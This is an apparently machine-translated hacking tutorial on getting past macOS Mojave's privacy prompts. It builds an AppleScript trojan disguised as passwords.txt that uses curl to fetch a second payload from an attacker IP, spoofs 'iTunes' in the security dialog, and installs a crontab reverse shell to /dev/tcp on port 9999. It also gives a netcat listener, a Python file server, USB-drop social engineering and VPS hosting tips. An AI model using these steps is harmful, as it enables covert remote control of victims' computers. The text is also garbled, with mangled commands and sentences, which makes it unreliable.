The latest macOS security update attempts to make parts of the operating system hard for hackers to access. Now let's see how this new feature works and what we can do to pretend the origin of an application trying to access protected data.
MacOS has introduced some new security features in the current Mojave 10.14 release. A feature identifies applications that attempt to copy, modify, or use specific files and services. This feature provides the user with a security notification for applications attempting to access the location services, built-in camera, address book, microphone, and other sensitive data. Below is a sample notification for this new feature in action.
In the above GIF, an attacker attempting to use a trojanized AppleScript appears as a plain text file to change protected data. The target will be social-engineered in opening the passwords.txt file – which presumably contains content that is interesting enough to double-click on the file.
The first part of this payload opens an actual text file that creates arbitrary data to make it believe that the file is legitimate. The second part happens transparently in the background without the knowledge of the target. This type of attack is explained in more detail in my article "Creating a Fake PDF Trojan with AppleScript".
As we can see, Mojave identifies the nefarious activities in the background and immediately alerts the target user. This new security feature prevented part of the attack – well done, Mojave, well done.
That made me think about ways to circumvent this security feature. After a little trial and error, I've formulated a simple payload that performs the following activity:
This time it seems like iTunes is Request administrator access to the user data. When the target clicks the "OK" button, the payload is executed. It's not uncommon for users of macOS (formerly "OS X") to receive notifications about iTunes and the App Store, so this seemed like an ideal social engineering tactic.
The other thing is the time between TextEdit and iTunes opening. The delay was intentionally added to further obscure the background activity. The goal is to execute the nefarious activities for minutes – or even hours – after the target opens the fake text file. The more time between clicking the file and executing the payload, the less likely the goal is to guess the fake passwords.txt file as the source of the activity.
Understanding the attack
Now we know what the attack looks like, let's dive into the technical details.
Two AppleScripts are used in this attack. The first AppleScript appears disguised as a plain text file and opens a real file for the target to believe is legitimate. It will immediately download, decompress, and run a second AppleScript that embeds a persistent backdoor in macOS by trying to add a  crown job.
The use of a second AppleScript is how the application name in the security notification is changed (or faked). MacOS does not specify which iTunes application requests access to protected data. Therefore, any application we call "iTunes" will be displayed as such in the security notification.
. 1 First AppleScript Technical Details
Below is the Bash One-Liner that was used in the first AppleScript. There are eight commands written here using the Bash operators && and ; are concatenated. I will explain each command individually, in the right order.
make the shell script "echo", my password is 123456 & # 39;> /tmp/passwords.txt && open /tmp/passwords.txt -a TextEdit && p = & # 39; / tmp / iTunes & # 39 ;; curl -s http://188.8.131.52/iTunes.zip -o $ p.zip && unpack $ p.zip -d / tmp / && chmod 7777 $ p.app; Sleep 60 && open -a iTunes. app && open $ p.app "
- do shell script" … " – This string is required at the beginning of AppleScripts to execute Bash (enclosed in double quotation marks) on the target's MacBook.
- echo & # 39; my password is 123456 & # 39; /tmp/passwords.txt – A new text file is created in the / tmp directory of the target named passwords.txt, which is echoed and should match the file name of the I use a very simple string, which in this example is "my password is 123456," but it should be more specific in real usage.
- open / tmp / passwords .txt -a TextEdit – After When you create the text file, it is immediately opened using the TextEdit (-a) application.If you present the target with legitimate content as soon as possible, you will be convinced that the AppleScript is actually a text file, fol Commands happen in the background and are transparent to the target.
- p = & # 39; / tmp / iTunes & # 39; – The letter "p" is used as a variable for / tmp / iTunes. The next few commands can now use $ p to reference the variable. This is done to minimize the number of characters needed in the following commands. In a real interaction, this file path may be much longer, so it makes sense to use a variable here.
- curl -s http://184.108.40.206/iTunes.zip -o $ p.zip – The second AppleScript (iTunes.zip) containing the backdoor attempt is automatically (-s) exited System of the attacker downloaded (220.127.116.11) and saved with the variable $ p (-o). This AppleScript is compressed to facilitate downloading from the attacker's server.
- unzip $ p.zip -d / tmp / – The .zip file is then decompressed and unpacked and stored in the target directory / tmp (-d). It automatically gets the filename and extension "iTunes.app" during decompression.
- chmod 7777 $ p.app – The decompressed .app gets permission to run macOS with chmod.
- ; – This semicolon between the chmod and sleep commands may be the single largest character in the payload. It will separate the chain of commands from the current process ID, which is executed by the first (passwords.txt) AppleScript, and start a whole new chain. That way, we can change the application name ("iTunes") in the macOS security notification. MacOS no longer recognizes or acknowledges the original file (passwords.txt) opened by the target. At this point, it is no longer possible to see which process actually executed the second AppleScript ("iTunes.app").
- sleep 60 – To create doubt within the target, an arbitrary delay may be added prior to execution. The value of "60" results in a sixty-second pause before running the consecutive instructions in the chain. A much higher value (eg 3600) would give more time between clicking on the first AppleScript and running the second one.
- open -a iTunes.app – The real iTunes application (-a) opens to authenticate the accompanying security notification.
- open $ p.app – Finally, the second AppleScript executes using the file name "iTunes" and requests access to protected data.
. 2 Second AppleScript Technical Details
Below is the (much simpler) bash script used in the second AppleScript.
do echo shell script * * * * * bash -i> & /dev/tcp/18.104.22.168/ 9999 0> & 1 & # 39; | crontab - "
Here inserts a | ) a bash single in crontab a command The Bash command attempts to establish a new TCP connection to the attacker's machine every sixty seconds ( 22.214.171.124 ) on port 9999 . If successful, the MacBook will still attempt to connect to the IP address of the target Readers who want to schedule cronjobs at intervals of more than 60 seconds should review Ole Michelsen's article on using crontab in macOS.
Step 1: Prepare the Netcat Listener for Inbound Connections
Usage end the following Netcat command to start the listener.
nc -l -p 9999
- nc -l – Netcat will open a Listening Port (-l) on any available interface. The listener will be reachable for all devices in your local network via your IP address (eg 192.168.0.xx).
- -p 9999 – The port (-p) number (9999) is arbitrary and can be changed as needed.
Step 2: Creating the First AppleScript
The following steps require Script Editor a pure macOS scripting application to create AppleScripts. Readers who do not have access to a Mac computer should explore the Empire AppleScript Stager.
Open the Script Editor and enter the following text in a new document.
Make the shell script "echo", my password is 123456 & # 39;> /tmp/passwords.txt && open /tmp/passwords.txt -a TextEdit && p = & # 39; / tmp / iTunes & # 39 ;; curl -s http://126.96.36.199/iTunes.zip -o $ p.zip && extract $ p.zip -d / tmp / && chmod 7777 $ p.app; sleep 60 && open -a iTunes.app && open $ p.app "
Click" File "in the menu bar, then" Export. "Save the script with the file format" Application ", then spoof the file extension and change the icon.
Spoofing the file extension and Creating file icons are better explained in my previous methods "How to Hack a Mojave 10:14 with a Self-Destructing Payload" and "How to Create a Fake PDF Trojan with AppleScript" article.
Step 3: Create the second (& 39; ; iTunes & # 39;) AppleScript
To create the second AppleScript, open a new script editor window and type:
Make the shell script "echo" * * * * * bash -i> & /dev/tcp/188.8.131.52/9999 0> & 1 & # 39; | crontab - "
Remember changing the adversary's address ( 184.108.40.206 ) to the local network IP Address that hosts the Netcat Listener. If you have chosen a port other than " 9999 ", you must also consider this in the above command.
Then "Export" the second AppleScript with the format "Application" "iTunes" filename This is the filename that the user will see in the security notification. Save it in a directory of your choice. I am using a new directory called "pythonServer" on my desktop.
Do not worry about the filename or extension here. The target will not see this file because it is downloaded and running in the background.
Compressing the second AppleScript will make it easier to transport (or download) to the target's MacBook. Right-click the AppleScript and choose Compress to create a ZIP file.
Now we need iTunes Download .zip for all users on the network. Open a terminal and use the following command in to go to the directory where you saved iTunes.zip.
cd / Users /
/ Desktop / pythonServer /
Then start a simple Python web server Use the following command.
python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 Port 80 ...
The module SimpleHTTPServer ( -m ) creates a web server with port 80 . By changing the following address 220.127.116.11 to your local IP address, this web server can be tested by navigating to the following URL using a web browser.
This Python terminal must remain open for the server to remain active.
Step 6: Deliver AppleScript to the Destination
The simplest method for social engineering a macOS target when opening malicious AppleScripts is Performing a USB flash drive drop attack. The question of MacOS 'high vulnerability to USB flash drives is discussed in more detail in my article "How to Hack Mojave with a self-destructive payload".
Adding a key and labeling the USB stick also help convince the target that someone inadvertently lost it. The USB flash drive containing the AppleScripts should be strategically placed so that your desired destination will find it safe. This can be done on your desk, on your doorstep, or by plugging your purse or backpack if you are not looking.
Sharing an AppleScript with a remote destination is a lengthy process and was not covered by a zero byte article yet. Stay tuned for future articles, in which I think in more detail how this works.
Buy USB Flash Drives at Amazon, Best Buy, or Walmart
Step 7: Improve the Attack (optional)  You can hard-code the .zip file into the payload. In my example, the second AppleScript ("iTunes.zip") was downloaded to the target's MacBook using curl. However, if the destination is not connected to the Internet when the first AppleScript (passwords.txt) is opened, the second one can not be downloaded. To prevent such occurrences, it would be possible to encode base64's .zip file, embed the encoded data in the first AppleScript, and decode it when opened with the target machine.
You can also deploy a remote server. In this tutorial, the attack on a local area network was done. a Wi-Fi network shared with the destination MacBook. Alternatively, the connection can also be made to the target's Wi-Fi network, with Netcat and the second AppleScript hosted on a virtual private server (VPS).
In this scenario, using a VPS offers advantages. Above all, the attacker could control the target MacBook from anywhere in the world. Also, if the AppleScripts were run, the attacker would not need access to the target's Wi-Fi network, so no level of WPA2 hacking would be required. Using a VPS grants the attacker a lot of freedom and does not limit them to the target's Wi-Fi network.
Final Thoughts …
Apple's new security features protect a small selection of files and directories but do not provide complete coverage of the operating system. Although this protects the address book and photos from rapid exfiltration by an attacker, it does not protect much outside the address book or photo directories. It also does not prevent attackers from finding alternative ways to boot the operating system.
For example, this tutorial demonstrated a quick way to get rid of macOS by calling the new security feature. Other methods, such as those I used in my recent article "How to Hack Mojave with a Self-Destructing Payload," are not recognized by Apple's new security features. In addition, there is more than one way to access the password of the MacBook without warning the destination.
I think all macOS users appreciate Apple's recent attempts to develop a secure operating system – but do not be fooled by the hype. MacOS still has a long way to go.